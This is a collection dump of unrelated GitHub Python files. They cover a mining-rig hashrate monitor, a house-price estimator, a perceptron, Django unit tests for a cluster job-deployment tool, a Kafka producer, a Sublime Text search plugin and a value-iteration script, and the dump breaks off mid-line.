new_hashrates[miner].append(format_dict['hashrate_primary'])\n else:\n format_dict['hashrate_primary'] = 0\n hashrate_secondary = format_dict['hashrates_gpus_secondary'].split(';')[gpu_order_no]\n if hashrate_secondary.isdigit():\n format_dict['hashrate_secondary'] = float(hashrate_secondary) / miners_settings[miner]['divider']['secondary']\n if miner not in new_hashrates:\n new_hashrates[miner] = []\n new_hashrates[miner].append(format_dict['hashrate_secondary'])\n else:\n format_dict['hashrate_secondary'] = 0\n if gpu_num * 2 < len(format_dict['temp_fans'].split(';')):\n format_dict['temp'] = format_dict['temp_fans'].split(';')[gpu_num * 2]\n else:\n format_dict['temp'] = 'NaN'\n if gpu_num * 2 + 1 < len(format_dict['temp_fans'].split(';')):\n format_dict['fan'] = format_dict['temp_fans'].split(';')[gpu_num * 2 + 1]\n else:\n format_dict['fan'] = 'NaN'\n gpu_order_no += 1\n answer += miners_settings[miner]['gpu_msg_format'].format(**format_dict)\n\n answer += miners_settings[miner]['postfix_msg_format'].format(**format_dict)\n if not do_active:\n return answer\n else:\n status = ''\n global previous_hasrates\n for miner in previous_hasrates:\n if miners_settings[miner]['hashrate_fall_percentage'] > 0:\n for i, previous_hasrate in enumerate(previous_hasrates[miner]):\n if previous_hasrate > 0:\n percent = 100.0 - float(new_hashrates[miner][i]) / previous_hasrate * 100\n if percent >= miners_settings[miner]['hashrate_fall_percentage']:\n status = ('Хэшрейт \\'{}\\'#{} упал на {:0.0f}%, запускаем \\'hashrate_falled\\' скрипт\\n'\n 'Предыдущие данные:\\n{}' ).format(miner, i + 1, percent, answer)\n log.warn(implode_new_lines(status))\n run_subprocess(miners_settings[miner]['miner_freezes_or_not_runnig'])\n break\n previous_hasrates = new_hashrates.copy()\n return status\n except Exception as e:\n log.error(\n '! {} exception in row #{} ({}, {}): {}'.format(sys.exc_info()[0].__name__,\n sys.exc_info()[2].tb_lineno,\n os.path.basename(\n sys.exc_info()[2].tb_frame.f_code.co_filename),\n sys._getframe().f_code.co_name,\n e))\n return 'Error: unknown exception in \\'get_miners_info\\' :('\n","repo_name":"hioma/rigNotifyBot","sub_path":"tools.py","file_name":"tools.py","file_ext":"py","file_size_in_byte":6196,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"71973857012","text":"# -*- coding: utf-8 -*-\n\n# from modification import modification\nfrom searchMain import search_by_address\nfrom searchPlate import search_plate\n\nclass base():\n # def __init__(self):\n # self.list = ['西藏南路1739弄', '10', '南', '103', '34', '2010']\n\n def __init__(self,list):\n self.list = list\n\n def __run(self):\n search = search_by_address()\n avg_price = search.run(self.list)\n self.houses = search.fangYuan;\n\n if isinstance(avg_price, str):\n price = avg_price\n else:\n # modi = modification(avg_price,self.list)\n # expected_price = modi.run()\n # price = float('%.4f' % expected_price)\n price = float('%.4f' % avg_price)\n print(\"Final Price = \",price)\n return price\n\n def getPrice(self):\n price = self.__run()\n if isinstance(price, str):\n return price\n else:\n return price\n\n def getPlateprice(self):\n sp = search_plate(self.list[0])\n plate = sp.whichPlate()\n price = sp.getPlateprice()\n price = float('%.4f' % price)\n return [plate, price]\n\n\n\n def get5Houses(self):\n self.price = self.__run()\n fiveHouses = []\n for count in range(len(self.houses)) :\n if count >= 5:\n break\n # List structure: [address[1], floor[4], maxfloor[6], aspect[7], square[2], comyear[8], avgprice[3]]\n fiveHouses.append([self.houses[count][1],self.houses[count][4],self.houses[count][6],self.houses[count][7],self.houses[count][2],self.houses[count][8],self.houses[count][3]])\n return fiveHouses\n\n def getAvg(self):\n return self.price\n\n def getSearchInformation(self):\n SearchInformation = [None,None,None,None,None]\n for count in range(len(self.houses)):\n if count >=5:\n break\n SearchInformation[count] = [self.houses[count][0],self.houses[count][3],self.houses[count][1],self.houses[count][4],self.houses[count][7],self.houses[count][2],self.houses[count][6],self.houses[count][8]]\n return SearchInformation\n\n\n\n\n\nif __name__ == '__main__':\n base0 = base(['西藏南路1739弄', '10', '南', '103', '34', '2010']);\n base0.getPrice()\n","repo_name":"dddwj/PriceEvaluation","sub_path":"base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":2280,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"29333767050","text":"import numpy as np\n\nclass Perceptron:\n \n def __init__(self, num_inputs, num_outputs):\n \n # Initialize weights\n self.W = np.random.uniform(size=(num_inputs, num_outputs))\n \n # Initialize prediction\n self.y_pred = np.zeros(num_outputs)\n \n def predict(self, x):\n # Weight input dot product\n y_pred = self.W.T@x\n \n # Neuron activation\n self.y_pred = self.activation(y_pred)\n\n return self.y_pred\n\n def activation(self, net_input):\n # Apply step function\n if net_input < 0:\n net_input = 0\n else:\n net_input = 1\n return net_input\n\n def update(self, x, y_truth):\n if self.y_pred < y_truth:\n self.W += x\n return False\n elif self.y_pred > y_truth:\n self.W -= x\n return False\n else:\n return True\n\n","repo_name":"Le-Gris/simple-perceptron","sub_path":"src/perceptron.py","file_name":"perceptron.py","file_ext":"py","file_size_in_byte":914,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"70530449974","text":"from PIL import Image\nfrom .pokemon_api import fetch_pokemon\nfrom . pokemon_sprite import fetch_sprite\nfrom abc import abstractmethod\n\nclass Pokedex:\n def __init__(self, generation, version):\n self.generation = generation\n self.version = version\n\n def get_pokemon(self, pokedex):\n pokemon = fetch_pokemon(pokedex, self.generation, self.version)\n return pokemon\n \n def get_image(self, pokedex, variant=None, size=None):\n sprite = fetch_sprite(pokedex, self.generation, self.version, variant)\n if size is None:\n return sprite\n else:\n return self._resize_image(sprite, size)\n\n\n def _resize_image(self, img, size):\n desired_height = int(size)\n \n original_width, original_height = img.size\n aspect_ratio = original_width / original_height\n new_width = int(desired_height * aspect_ratio)\n \n dimensions = (new_width, desired_height)\n img = img.resize(dimensions, Image.NEAREST)\n\n return img\n \n @abstractmethod\n def draw_dex(self, pokedex, variant=None):\n pass \n","repo_name":"wilks7/pokedexEPD","sub_path":"lib/pokedex/pokedex_helper.py","file_name":"pokedex_helper.py","file_ext":"py","file_size_in_byte":1122,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"20449286247","text":"#!/usr/bin/env python3\n\"\"\" Method that calculates the accuracy of a prediction \"\"\"\n\nimport tensorflow as tf\n\n\ndef calculate_accuracy(y, y_pred):\n \"\"\" Calculate accuracy \"\"\"\n\n equality = tf.equal(tf.argmax(y, axis=1), tf.argmax(y_pred, axis=1))\n accuracy = tf.reduce_mean(tf.cast(equality, tf.float32))\n return accuracy\n","repo_name":"nildiert/holbertonschool-machine_learning","sub_path":"supervised_learning/0x02-tensorflow/3-calculate_accuracy.py","file_name":"3-calculate_accuracy.py","file_ext":"py","file_size_in_byte":331,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"43647996881","text":"def convert_to_comma_separated(input_filename, output_filename):\n with open(input_filename, 'r') as infile:\n numbers = infile.readlines()\n \n # Remove newline characters and filter out any empty lines\n numbers = [num.strip() for num in numbers if num.strip()]\n\n # Join the numbers with commas\n comma_separated = ',\\n'.join(numbers)\n \n with open(output_filename, 'w') as outfile:\n outfile.write(comma_separated)\n\n# Example usage:\nconvert_to_comma_separated('Lab6/include/data2.txt', 'Lab6/include/data2_wcommas.txt')\n","repo_name":"Polidori-112/EE193","sub_path":"commas.py","file_name":"commas.py","file_ext":"py","file_size_in_byte":553,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"13691613420","text":"'''\n' by Ken Koch 2013 [kkoch986@gmail.com]\n' Sublime Web Search Plugin\n'''\nimport sublime, sublime_plugin\nimport webbrowser\nimport urllib\n\n'''\n\tThe Quick Web Search Command (\"quick_web_search\") takes the first search engine in the settings list\n\tand opens an input for a query. Upon entering the query, a browser window is opened up displaying\n\tsearch results for the given query.\n'''\nclass QuickWebSearchCommand(sublime_plugin.TextCommand):\n\t# this is a fallback url in case there isnt any found\n\tdefaultUrl = \"http://google.com/search?\"\n\tdefaultVar = \"q\"\n\tdefaultName = \"Google\"\n\n\tdef run(self, edit):\n\t\tsettings = sublime.load_settings(\"WebSearch.sublime-settings\")\n\t\tsearch_engines = settings.get(\"com.kenkoch.websearch.search_engines\")\n\t\tif(search_engines is None):\n\t\t\tself._search = defaultUrl\n\t\t\tself._var = defaultVar\n\t\t\tself._name = defaultName\n\t\telse:\n\t\t\tindex = settings.get(\"com.kenkoch.websearch.default_search_engine\",0);\n\t\t\tself._search = search_engines[index][\"url\"];\n\t\t\tself._var = search_engines[index][\"var\"];\n\t\t\tself._name = search_engines[index][\"name\"];\n\n\n\t\tself._edit = edit\n\t\tinitial = \"\"\n\t\tfor r in self.view.sel(): \n\t\t\tif not r.empty():\n\t\t\t\tinitial = self.view.substr(r)\t\n\t\t\t\tbreak\n\n\t\tself.view.window().show_input_panel(self._name + \" Search\", initial, self.on_done, None, None)\t\n\n\n\tdef on_done(self, string):\n\t\turl = str(''.join((self._search, urllib.urlencode({self._var:string}))))\n\t\twebbrowser.open(url,new=2)\n\n'''\n\tThe Web Search Command (\"web_search\") opens a choice dialog of search engines defined in the WebSearch.sublime-settings file.\n\tOnce you choose one, it gives you a dialog to enter your query into. Upon entering that info, a browser window is opened\n\tdisplaying search results on the given search engine.\n'''\nclass WebSearchCommand(sublime_plugin.TextCommand):\n\n\tdef run(self, edit):\n\t\t# load the settings and the list of search engines\n\t\tself._edit = edit\n\t\tsettings = sublime.load_settings(\"WebSearch.sublime-settings\")\n\t\tself._search_engines = settings.get(\"com.kenkoch.websearch.search_engines\")\n\n\t\t# ensure there are engines to choose from\n\t\tif(self._search_engines is None):\n\t\t\tsublime.message_dialog(\"No Engines Loaded.\")\n\t\t\treturn\n\n\t\t# show a dialog to select from those choices\n\t\tself.view.window().show_quick_panel([ [s[\"name\"], s[\"desc\"] ] for s in self._search_engines], self.on_choice)\n\n\t# After a choice has been made:\n\t# set the choice and show the input dialog\n\tdef on_choice(self, index):\t\n\t\t# ensure that a selection was in fact made\n\t\tif(index == -1): \n\t\t\treturn \n\n\t\t# load the info about that engine\n\t\tself._search = self._search_engines[index][\"url\"];\n\t\tself._var = self._search_engines[index][\"var\"];\n\t\tself._name = self._search_engines[index][\"name\"];\n\n\t\t# grab the selected text\n\t\tinitial = \"\"\n\t\tfor r in self.view.sel(): \n\t\t\tif not r.empty():\n\t\t\t\tinitial = str(self.view.substr(r))\t\n\t\t\t\tbreak\n\n\t\t# open the niput dialog\n\t\tself.view.window().show_input_panel(self._name + \" Search\", initial, self.on_done, None, None)\t\n\n\t# After text has been entered\n\t# Open the browser window.\n\tdef on_done(self, string):\n\t\t# build the url\n\t\turl = str(''.join((self._search, urllib.urlencode({self._var:string}))))\n\n\t\t# open the browser\n\t\twebbrowser.open(url,new=2)\n\n\n","repo_name":"kkoch986/QuickWebSearch","sub_path":"WebSearch.py","file_name":"WebSearch.py","file_ext":"py","file_size_in_byte":3240,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"69963805172","text":"# creating a class is the blueprint for creating objects.\n# Class is to create the real world datatype.\n\n# Object has their own attributes and methods.\n# brand_name, model, color, price are all the attributes of the objects.\n# and here we have not mentioned any methods. method means functions in the body of the class.\n# we can use self with the methods by convention.\n\nclass Car:\n\n # class attribute\n Country = \"Germany\"\n\n # instance attribute\n def __init__(self, brand_name, model, color, price):\n self.brand_name = brand_name\n self.model = model\n self.color = color\n self.price = price\n\n\n# these are the objects/ instances of the class.\nCar1 = Car(\"Mercedes\", \"S Class\", \"White\", \"$75000\")\nCar2 = Car(\"Volkswagen\", \"Vento\", \"Grey\", \"$65000\")\n\n# access the class attribute\n# instance accessing the class attribute\nprint(\"Mercedes is a {} based car.\".format(Car1.Country))\nprint(\"Volkswagen is a {} based car.\".format(Car2.Country))\n\n# access the instance attribute\nprint(\"{} is car of {} brand\".format(Car1.model, Car1.brand_name))\nprint(\"{} is car of {} brand\".format(Car2.model, Car2.brand_name))\n\n","repo_name":"Roy3848/PythonTraining","sub_path":"OOP(ObjectOriented Programming)/Class_Objects.py","file_name":"Class_Objects.py","file_ext":"py","file_size_in_byte":1143,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"38990092325","text":"\"\"\"\nThis file demonstrates writing tests using the unittest module. These will pass\nwhen you run \"manage.py test\".\n\nReplace this with more appropriate tests for your application.\n\"\"\"\nimport json\nimport os\nfrom paramiko import AuthenticationException\nimport tarfile\n\nfrom django.test import TestCase\nfrom mock import Mock\nfrom catamidb.models import Image\nfrom features import FeaturesErrors\nimport features\nfrom features.RunScriptTool import RunScriptTool, DeployJobTool, ServerTool\nfrom dbadmintool.administratorbot import Robot\nimport logging\nfrom model_mommy import mommy\nfrom django.contrib.gis.geos import Point, Polygon\n\nlogger = logging.getLogger(__name__)\n\n\ndef create_setup(self):\n self.campaign_one = mommy.make_one('catamidb.Campaign', id=1)\n\n self.deployment_one = mommy.make_one('catamidb.Deployment',\n start_position=Point(12.4604, 43.9420),\n end_position=Point(12.4604, 43.9420),\n transect_shape=Polygon(((0.0, 0.0), (0.0, 50.0), (50.0, 50.0), (50.0, 0.0), (0.0, 0.0))),\n id=1,\n campaign=self.campaign_one\n )\n self.deployment_two = mommy.make_one('catamidb.Deployment',\n start_position=Point(12.4604, 43.9420),\n end_position=Point(12.4604, 43.9420),\n transect_shape=Polygon(((0.0, 0.0), (0.0, 50.0), (50.0, 50.0), (50.0, 0.0), (0.0, 0.0))),\n id=1,\n campaign=self.campaign_one\n )\n\n self.pose_one = mommy.make_one('catamidb.Pose',\n position=Point(12.4, 23.5),\n id=1,\n deployment=self.deployment_one\n )\n self.pose_two = mommy.make_one('catamidb.Pose',\n position=Point(12.4, 23.5),\n id=2,\n deployment=self.deployment_two\n )\n\n self.camera_one = mommy.make_one('catamidb.Camera',\n deployment=self.deployment_one,\n id=1,\n )\n self.camera_two = mommy.make_one('catamidb.Camera',\n deployment=self.deployment_two,\n id=1,\n )\n\n self.image_list = ['/live/test/test2.jpg', '/live/test/test1.jpg']\n self.mock_image_one = mommy.make_one('catamidb.Image',\n pose=self.pose_one,\n camera=self.camera_one,\n web_location=self.image_list[0],\n pk=1\n )\n self.mock_image_two = mommy.make_one('catamidb.Image',\n pose=self.pose_two,\n camera=self.camera_two,\n web_location=self.image_list[1],\n pk=2\n )\n\n image_objects = Image.objects.all()\n for image in image_objects:\n self.djt.image_primary_keys.append(image.pk)\n\n\nclass DeployJobTest(TestCase):\n \"\"\"Tests for the DeployJobTool\"\"\"\n\n def setUp(self):\n\n self.djt = DeployJobTool()\n self.server = Mock()\n #self.djt.image_primary_keys = ['00000001','00000002']\n\n # for bender.check_sum_file method\n self.bender = Robot()\n\n create_setup(self)\n\n def test_write_json_file(self):\n \"\"\"Check the json file writer works\"\"\"\n\n # Check it writes to disk correctly\n self.djt.write_json_file()\n mock_write_check = self.bender.check_sum_file(self.djt.job_dir +\n '/meta.json')\n mock_fixture_check = self.bender.check_sum_file(\n 'features/fixtures/mock_features.json')\n self.assertTrue(mock_fixture_check == mock_write_check)\n\n # Check the file format by reading it back in and checking the values\n json_features = json.load(open(self.djt.job_dir + '/meta.json'))\n\n self.assertTrue(json_features['cluster_granularity'] == 1)\n self.assertTrue(json_features['verbose_output'] == True)\n self.assertTrue(json_features['nthreads'] == 1)\n self.assertTrue(json_features['dimensionality'] == 20)\n self.assertTrue(json_features['algorithm'] == 'BGMM')\n self.assertTrue(json_features['image_primary_keys'] == self.djt.\n image_primary_keys)\n\n def test_write_rand_numpy_array_to_disk(self):\n \"\"\"Test that we can write fake feature vectors to disk\"\"\"\n # they're random so not sure how to non trivially check them.\n # infact their values don't matter so I just check they are crecated\n\n self.djt.write_rand_numpy_array_to_disk()\n\n #check they are on disk\n for im in self.djt.image_primary_keys:\n self.assertTrue(os.path.exists(self.djt.job_dir + '/' + str(im) +\n '.p'))\n\n self.djt.write_rand_numpy_array_to_disk(dim=(2, 20))\n\n #check they are on disk\n for im in self.djt.image_primary_keys:\n self.assertTrue(os.path.exists(self.djt.job_dir + '/' + str(im) +\n '.p'))\n\n def test_compress_files(self):\n \"\"\"Test that we can compress files in a tarball\"\"\"\n\n # Need to write the files before compressing them\n self.djt.write_rand_numpy_array_to_disk()\n self.djt.write_json_file()\n self.djt.compress_files()\n\n # Check the file is there\n self.assertTrue(os.path.exists(self.djt.job_dir + '/' +\n 'features.tar.gz'))\n\n # Check the files are in the tarball\n tar = tarfile.open(self.djt.job_dir + '/' + 'features.tar.gz', \"r\")\n tar_list = tar.getnames()\n\n self.assertTrue(tar_list[0] == 'meta.json')\n self.assertTrue(tar_list[1] == str(self.djt.image_primary_keys[0]) +\n '.p')\n self.assertTrue(tar_list[2] == str(self.djt.image_primary_keys[1]) +\n '.p')\n\n def test_make_image_list(self):\n \"\"\" Make sure the method makes the correct list of image locations\"\"\"\n self.djt.make_image_list()\n\n i = 0\n logger.debug(self.djt.image_location)\n for image in self.image_list:\n self.assertTrue(self.djt.image_location[i])\n i += 1\n\n def test_deploy_job(self):\n \"\"\"\n :return:\n \"\"\"\n\n self.assertIsNone(self.djt.deploy_job(self.server))\n self.assertIsNone(self.djt.deploy_job(self.server,\n job_type='libcluster'))\n # this hasn't been written yet\n\n def test_noconnect_deploy_job(self):\n\n self.server.put.side_effect = AuthenticationException(\"Testing\")\n\n #!!!!!!!!!!!!!!!!!!!!\n # THE FOLLOWING LINE DOES NOT WORK\n # self.assertRaises(features.FeaturesErrors.ConnectionError,\n # self.rst.push_pbs_script_to_server(self.server))\n #--------------------\n # THE FOLLOWING IS A WORKAROUND\n #!!!!!!!!!!!!!!!!!!!!\n try:\n self.djt.deploy_job(self.server)\n except features.FeaturesErrors.ConnectionError as e:\n connection_error_occured = True\n\n self.assertTrue(connection_error_occured)\n\n\nclass RunScriptTest(TestCase):\n \"\"\"Test for the RunScriptTool\"\"\"\n\n def setUp(self):\n\n mock_user = 'test'\n mock_password = 'test'\n\n self.server = Mock()\n self.rst = RunScriptTool()\n\n # for bender.check_sum_file method\n self.bender = Robot()\n\n def test_write_pbs_script(self):\n \"\"\"Check that the code writes the correct pbs script\"\"\"\n self.rst.write_pbs_script(file_name='/tmp/queue_libfeature.pbs')\n mock_write_check = self.bender.check_sum_file(self.rst.run_file)\n mock_fixture_check = self.bender.check_sum_file(\n 'features/fixtures/mock_pbs_script.pbs')\n self.assertTrue(mock_fixture_check == mock_write_check)\n\n def test_write_libfeature_script(self):\n \"\"\"Check that the code writes the correct python script\n\n for running libfeature\n \"\"\"\n self.rst.write_libfeature_script(file_name='/tmp/run_libfeature.py')\n mock_write_check = self.bender.check_sum_file(\n self.rst.libfeature_run_file)\n mock_fixture_check = self.bender.check_sum_file(\n 'features/fixtures/mock_run_feature.py')\n self.assertTrue(mock_fixture_check == mock_write_check)\n\n def test_push_pbs_script_to_server(self):\n # Test normal operation\n self.assertIsNone(self.rst.push_pbs_script_to_server(self.server))\n\n def test_server_calls_push_pbs_script_to_server(self):\n \"\"\"Test to make sure that put and execute are called at least once\"\"\"\n self.rst.push_pbs_script_to_server(self.server)\n self.server.put.assert_called_once_with('catami.pbs')\n self.server.close.assert_called_once_with()\n\n def test_server_put_push_pbs_script_to_server(self):\n # Test that user name or possword is incorrect\n # force the username and/or password to be incorrect\n self.server.put.side_effect = AuthenticationException(\"Testing\")\n\n #!!!!!!!!!!!!!!!!!!!!\n # THE FOLLOWING LINE DOES NOT WORK\n # self.assertRaises(features.FeaturesErrors.ConnectionError,\n # self.rst.push_pbs_script_to_server(self.server))\n #--------------------\n # THE FOLLOWING IS A WORKAROUND\n #!!!!!!!!!!!!!!!!!!!!\n try:\n self.rst.push_pbs_script_to_server(self.server)\n except features.FeaturesErrors.ConnectionError as e:\n connection_error_occured = True\n\n self.assertTrue(connection_error_occured)\n\n def test_server_execute_push_pbs_script_to_server(self):\n \"\"\"Test to see that the correct exception is raised\n\n if we cant kick pbs\"\"\"\n\n # Force a startjob fail.\n self.server.execute.side_effect = Exception(\"Testing\")\n\n #!!!!!!!!!!!!!!!!!!!!\n # THE FOLLOWING LINE DOES NOT WORK\n # self.assertRaises(features.FeaturesErrors.\n # ConnectionError,self.rst.push_pbs_script_to_server(self.server))\n #--------------------\n # THE FOLLOWING IS A WORKAROUND\n #!!!!!!!!!!!!!!!!!!!!\n\n try:\n self.rst.push_pbs_script_to_server(self.server)\n except features.FeaturesErrors.ConnectionError as e:\n execute_error_occured = True\n\n self.assertTrue(execute_error_occured)\n\n\nclass ServerToolTest(TestCase):\n\n def setUp(self):\n\n \"\"\"Test that we can compress files in a tarball\"\"\"\n\n mock_user = 'test'\n mock_password = 'test'\n\n self.server = Mock()\n self.rst = RunScriptTool()\n self.djt = DeployJobTool()\n\n self.test_file = '/tmp/CATAMI/features/Anon/tmp.txt'\n\n create_setup(self)\n\n def test_compress_files(self):\n\n # Need to write the files before compressing them\n self.djt.write_rand_numpy_array_to_disk()\n self.djt.write_json_file()\n file_list = []\n\n file_list.append(self.djt.job_dir + '/meta.json')\n\n for i in range(2):\n #file_list.append(str(self.djt.image_primary_keys[i]) + '.p')\n file_list.append(self.djt.job_dir + '/' + str(self.djt.\n image_primary_keys[i]) + '.p')\n\n logger.debug(file_list)\n\n ServerTool.compress_files(file_list, self.djt.job_dir + '/features')\n\n # Check the file is there\n self.assertTrue(os.path.exists(self.djt.job_dir + '/features.tar.gz'))\n\n # Check the files are in the tarball\n tar = tarfile.open(self.djt.job_dir + '/' + 'features.tar.gz', \"r\")\n tar_list = tar.getnames()\n\n self.assertTrue(tar_list[0] == 'meta.json')\n self.assertTrue(tar_list[1] == str(self.djt.image_primary_keys[0]) +\n '.p')\n self.assertTrue(tar_list[2] == str(self.djt.image_primary_keys[1]) +\n '.p')\n\n def test_push_file_to_server(self):\n\n f = open(self.test_file, 'wb')\n f.write('blah')\n self.assertIsNone(ServerTool.push_file_to_server(self.test_file,\n 'catami.ivec.org', self.server, start_job=False))\n\n def test_server_calls_push_pbs_script_to_server(self):\n \"\"\"Test to make sure that put and execute are called at least once\"\"\"\n ServerTool.push_file_to_server(self.test_file, 'catami.ivec.org', self\n .server, start_job=False)\n self.server.put.assert_called_once_with(self.test_file)\n self.server.close.assert_called_once_with()\n\n def test_server_put_push_pbs_script_to_server(self):\n # Test that user name or possword is incorrect\n # force the username and/or password to be incorrect\n self.server.put.side_effect = AuthenticationException(\"Testing\")\n connection_error_occured = False\n\n #!!!!!!!!!!!!!!!!!!!!\n # THE FOLLOWING LINE DOES NOT WORK\n # self.assertRaises(features.FeaturesErrors.ConnectionError,\n # self.rst.push_pbs_script_to_server(self.server))\n #--------------------\n # THE FOLLOWING IS A WORKAROUND\n #!!!!!!!!!!!!!!!!!!!!\n try:\n ServerTool.push_file_to_server(self.test_file,\n 'catami.ivec.org',\n self.server, start_job=False)\n except features.FeaturesErrors.ConnectionError as e:\n connection_error_occured = True\n\n self.assertTrue(connection_error_occured)\n\n def test_server_execute_push_pbs_script_to_server(self):\n \"\"\"Test to see that the correct exception is raised\n\n if we cant kick pbs\"\"\"\n\n # Force a startjob fail.\n self.server.execute.side_effect = Exception(\"Testing\")\n execute_error_occured = False\n\n #!!!!!!!!!!!!!!!!!!!!\n # THE FOLLOWING LINE DOES NOT WORK\n # self.assertRaises(features.FeaturesErrors.\n # ConnectionError,self.rst.push_pbs_script_to_server(self.server))\n #--------------------\n # THE FOLLOWING IS A WORKAROUND\n #!!!!!!!!!!!!!!!!!!!!\n\n try:\n ServerTool.push_file_to_server(self.test_file,\n 'catami.ivec.org',\n self.server, start_job=True)\n except features.FeaturesErrors.ConnectionError as e:\n execute_error_occured = True\n\n self.assertTrue(execute_error_occured)\n","repo_name":"acfrmarine/squidle","sub_path":"features/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":13925,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"21"} +{"seq_id":"13276530451","text":"# -*- coding: utf-8 -*-\r\n\r\nfrom kafka import KafkaProducer\r\nfrom json import dumps\r\nimport pandas as pd\r\nfrom time import sleep\r\n\r\nKAFKA_STATUS_TOPIC = 'order_status'\r\nKAFKA_BOOTSTRAP_SERVERS = 'localhost:9092'\r\n\r\nif __name__ == \"__main__\":\r\n\r\n print(\"kafka order_status producer started...!\")\r\n\r\n order_producer = KafkaProducer(bootstrap_servers=KAFKA_BOOTSTRAP_SERVERS,\\\r\n value_serializer=lambda x: dumps(x).encode('utf-8'))\r\n\r\n #order_path = r\"C:\\Users\\SugarBox\\Downloads\\olist_orders_dataset.csv\\olist_orders_dataset.csv\"\r\n order_path = r'/home/nikil/Downloads/dsets/ecom/olist_orders_dataset.csv'\r\n\r\n order_pd_df = pd.read_csv(order_path)\r\n order_list = order_pd_df.to_dict(orient=\"records\")\r\n\r\n for order_data in order_list:\r\n message = order_data\r\n print('message to be sent: ', message)\r\n order_producer.send(KAFKA_STATUS_TOPIC, message)\r\n sleep(2)\r\n","repo_name":"nikhilsarma/spark_utilities","sub_path":"status_producer.py","file_name":"status_producer.py","file_ext":"py","file_size_in_byte":943,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"15356607832","text":"class Tab:\n\n menu = {\n 'wine': 5,\n 'beer': 3,\n 'softdrink': 2,\n 'chicken': 10,\n 'beef': 15,\n 'veggie': 12,\n 'dessert': 6\n }\n\n def __init__(self):\n self.total = 0 # running total of the bill\n self.items = [] # list of items as we add them to the bill\n\n def add(self, item):\n self.items.append(item) # We're adding the item to the list and also updating the total here with the cost of what they had.\n self.total += self.menu[item] # This refers to the dictionary above where we wanna pass in a key which is gonna be the \n # menu item and it's gonna return the value there and it's gonna add its value to the total.\n def print_bill(self, tax, service):\n tax = (tax / 100) * self.total\n service = (service / 100) * self.total\n total = self.total + tax + service\n\n for item in self.items:\n print(f'{item:20} £{self.menu[item]}') # We're outputting the price of that particular item.\n\n print(f'{\"Total\":20} £{total:.2f}')\n\n'''\n\nInstructions:\n\ncd 020_Bar_Tab_Calculator\n> python\n\n>>> from bar_tab import Tab # We can create a new instance of a Tab now.\n>>> table1 = Tab() # Someone comes in and sits on table1 = new instance of a Tab.\n>>> table1\n\n\n>>> table1.add('softdrink')\n>>> table1.add('chicken')\n>>> table1.add('dessert')\n>>> table1.print_bill(10, 10) # We're passing in the tax and the service percentages.\nsoftdrink £2\nchicken £10\ndessert £6\nTotal £21.20\n\n'''","repo_name":"pochiman/Python3TutorialForBeginners_TheNetNinja","sub_path":"020_Bar_Tab_Calculator/bar_tab.py","file_name":"bar_tab.py","file_ext":"py","file_size_in_byte":1655,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"23159210986","text":"# python_substrings_any.py\n# David Prager Branner\n# 20131101\n\ndef find_substring(pattern, target):\n \"\"\"Search by comparing hashes of pattern and successive substrings.\"\"\"\n # Eliminate trivial cases.\n n = len(target)\n m = len(pattern)\n if (not n or not m or m > n):\n return False\n #\n # Search by comparing hashes.\n pattern_hash = hash(pattern)\n for string_start in range(n - m + 1):\n string_end = string_start + m\n if pattern_hash == hash(target[string_start:string_end]):\n return True\n return False\n","repo_name":"DataBranner/AlgorithmPlay","sub_path":"python_substrings_any/python_substrings_any.py","file_name":"python_substrings_any.py","file_ext":"py","file_size_in_byte":561,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"71983804853","text":"\"\"\"Brute force\"\"\"\n\nimport numpy \nimport time \nimport gym\n\n\"\"\"\n\t\tArgs:\n\t\tpoicy [S,A] shaped matrix representing policy.\n\t\tenv. OpenAi gym env.v.\n\t\t\tenv.P represents the transition propablities of the env\n\t\t\tenv.P[s][a] is a list of transition tuples \n\t\t\tenv.nS = is a number of states\n\t\t\tenv.nA is a number of actions\n\t\tgamma: discount factor\n\t\trender: boolean to turn rendering on/off \n\"\"\"\n\ndef execute(env, policy, gamma=1.0, render=False):\n\tstart = env.reset()\n\ttotalReward = 0\n\tstepIndex = 0\n\twhile True:\n\t\tif render:\n\t\t\tenv.render()\n\t\tstart, reward, done,_ = env.step(int(policy[start]))\n\t\ttotalReward += (gamma ** stepIndex * reward)\n\t\tstepIndex += 1\n\t\tif done:\n\t\t\tbreak\n\treturn totalReward\n\t\t\n#Evaluation\ndef evaluatePolicy(env, policy, gamma=1.0, n=100):\n\tscores = [execute(env, policy, gamma, False) for _ in range(n)]\n\treturn numpy.mean(scores)\n\t\n#choosing a policy given a value-function\ndef calculatePolicy(env, v, gamma=1.0):\n\tpolicy = numpy.zeros(env.env.nS)\n\tfor s in range(env.env.nS):\n\t\tq_sa = numpy.zeros(env.action_space.n)\n\t\tfor a in range(env.action_space.n):\n\t\t\tfor next_sr in env.env.P[s][a]:\n\t\t\t\tp, s_, r, _ = next_sr\n\t\t\t\tq_sa[a] += (p * (r + gamma * v[s_]))\n\t\tpolicy[s] = numpy.argmax(q_sa)\n\treturn policy\n\t\n#Value Iteration Algorithm\ndef valueIteration(env, gamma=1.0, eps=1e-20):\n\tstatistics = []\n\tvalue = numpy.zeros(env.env.nS)\n\tmax_iterations = 10000\n\tfor i in range(max_iterations):\n\t\tprev_v = numpy.copy(value)\n\t\tfor s in range(env.env.nS):\n\t\t\tq_sa = [sum([p * (r + gamma * prev_v[s_]) for p, s_, r, _ in env.env.P[s][a]]) for a in range(env.env.nA)]\n\t\t\tvalue[s] = max(q_sa)\n\t\tdelta = 